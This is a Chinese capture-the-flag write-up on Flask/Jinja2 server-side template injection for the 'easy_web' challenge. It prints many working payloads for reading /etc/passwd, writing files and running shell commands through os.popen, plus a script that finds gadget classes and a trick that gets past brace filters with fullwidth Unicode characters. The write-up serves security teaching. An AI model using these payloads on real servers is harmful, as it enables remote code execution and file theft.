攻防世界easy_web

python-flask-ssti(模版注入漏洞)

SSTI(Server-Side Template Injection) 服务端模板注入,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式

ssti漏洞成因

ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本题目是考察对flask模板注入。

模板引擎

首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

前置知识

1.运行一个一个最小的 Flask 应用

from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host='0.0.0.0')

2.jinja2

jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。

在jinja2中,存在三种语:

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等

inja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。

被两个括号包裹的内容会输出其表达式的值

1.ssti漏洞的检测
发送类似下面的payload,不同模板语法有一些差异

smarty=Hello ${7*7}
Hello 49
twig=Hello {{7*7}}
Hello 49

检测到模板注入漏洞后,需要准确识别模板引擎的类型。神器Burpsuite 自带检测功能,并对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:

2.漏洞利用
1.payload原理
Jinja2 模板中可以访问一些 Python 内置变量,如[] {} 等,并且能够使用 Python 变量类型中的一些函数这里其实就引出了python沙盒逃逸

python的内敛函数真是强大,可以调用一切函数做自己想做的事情

__builtins__
__import__

C:\Users\Shelby\Desktop
λ python
Python 3.7.8 (tags/v3.7.8:4b47a5b6ba, Jun 28 2020, 08:53:46) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> dir('builtins')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>> dir('import')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>>

在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,这是两种创建object的方法

Python中一些常见的特殊方法:

__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类

现在我们的思路就是从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals[‘builtins’]即可调用eval等执行任意代码。

().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]


builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块

>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]

#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性

#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__

>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可

安全研究员给出的几个常见Payload
python2
文件读取和写入

#读文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

任意执行

每次执行都要先写然后编译执行

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  

python3
因为python3没有file了,所以用的是open

#文件读取
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}


#任意执行
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}



#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

寻找function的过程可以用一个小脚本解决, 脚本找到被重载过的function,然后组成payload

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

回顾本题


抓包发现是python3.7.9,而且有输入框,第一反应想到的便是ssti模板注入,但是过滤了{ },之前遇到的都是过滤了{{,这种还好绕过,回归到题目,发现了


字符规范器,是不是找一些特殊字符可以恢复成{这种形式,就找一下跟{类似的特殊符号试一下

特殊字符网址:http://www.fhdq.net/

可以替换成功

︷︷config︸︸

在测试过程中发现单引号也被过滤掉,这个符号可以转换出'

构造如下payload

︷︷().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/etc/passwd').read()︸︸


可以读出/etc/passwd文件的内容,最后读取flag就可以了

︷︷().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()︸︸


也可以构造这样payload获取flag

︷︷().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")︸︸

TIPS说在最后

function需要自己寻找


︷︷().class.bases[0].subclasses()︸︸
︷︷().class.bases[0].subclasses()[176]︸︸
︷︷().class.bases[0].subclasses()[177]︸︸

单引号被过滤,也可使用request.args来进行绕过。POST提交数据


http://192.168.68.128:32771/?shy1=open&shy2=/flag

str=︷︷().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[request.args.shy1](request.args.shy2).read()︸︸

Unicode字符

{	&#65371;
}	&#65373;
[	&#65339;
]	&#65341;
'	&#65287;
"	&#65282;
  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 攻防世界web_php_unserialize是一个关于PHP反序列化漏洞的题目,需要掌握PHP反序列化漏洞的原理和利用方法。在这个题目中,可能会给出一个序列化的字符串,需要将其反序列化并进行一些操作,最终达到获取flag的目的。这个题目需要掌握PHP的序列化和反序列化函数,以及对序列化字符串的解析能力。 ### 回答2: web_php_unserialize指的是PHP反序列化漏洞。序列化是指将对象转换为字节流的过程,反序列化则是将字节流还原为原始对象的过程。PHP序列化对于数据的传输和存储非常方便,但是如果在执行反序列化过程中存在漏洞,就会导致恶意攻击者能够注入恶意代码,并可能导致代码执行、文件读写、远程代码执行等危险后果。攻防世界中的web_php_unserialize比赛就是通过挖掘实际漏洞并利用它们对目标进行攻击的比赛。 攻防世界中的web_php_unserialize比赛通常会考查参赛者对PHP反序列化漏洞的深入理解和实际应用能力。比赛中的攻击场景可能会包括以下几个方面: 1. 对序列化字符串的解析和理解。参赛者需要清楚地知道序列化字符串中不同数据类型的表示方法,包括字符串、数组、对象等。 2. 对序列化字符串中的数据类型和值进行篡改。恶意攻击者通常会利用序列化字符串的可篡改性注入恶意代码或者修改重要数据,参赛者需要在比赛中证明自己能够精准地修改序列化字符串中的数据类型和值。 3. 对反序列化函数的使用和理解。PHP反序列化漏洞很多都是由于对反序列化函数的不当使用导致的。参赛者需要清楚地知道反序列化函数参数的含义以及如何正确使用反序列化函数。 4. 对代码的理解和审计。比赛中可能会给出一些被漏洞的代码,参赛者需要仔细地审计代码并找出漏洞的具体原因。 总的来说,攻防世界中的web_php_unserialize比赛旨在锻炼参赛者的漏洞挖掘和漏洞利用能力,并通过挖掘实际漏洞来理解和掌握漏洞的本质和原理。 ### 回答3: 攻防世界web_php_unserialize是一种基于PHP反序列化漏洞的CTF题目。这个题目主要考察选手对于PHP反序列化漏洞的理解和应用能力。 在一般的PHP应用程序中,序列化是将一个对象或一组数据转换成一个数据流的过程,反序列化则是将这个数据流转回成对象或一组数据。反序列化漏洞是指当应用程序在反序列化过程中没有对数据流进行足够的验证和过滤,导致攻击者可以在数据流中注入恶意代码,以此来执行代码并最终造成攻击。这种漏洞在很多PHP应用程序中都存在,而攻防世界web_php_unserialize就是基于这个漏洞设计的一道CTF题目。 这个题目的主要思路是通过构造一个特定的序列化数据,并将其作为参数提交给目标站点。该序列化数据包含了一个恶意代码,在反序列化时可以执行恶意代码,从而完成攻击。选手需要先了解序列化和反序列化的原理,然后使用PHP代码构造一个带有恶意代码的序列化数据,成功利用反序列化漏洞执行代码并获取到flag。 这道题目对于选手的PHP语言理解和代码能力有一定的要求,同时也需要选手在考虑漏洞时具备一定的克制能力,对于数据的过滤和验证也需要有一定的认识。通过挑战攻防世界web_php_unserialize,选手可以深入了解PHP反序列化漏洞的原理和应用,有效提高自己的防御意识和CTF能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值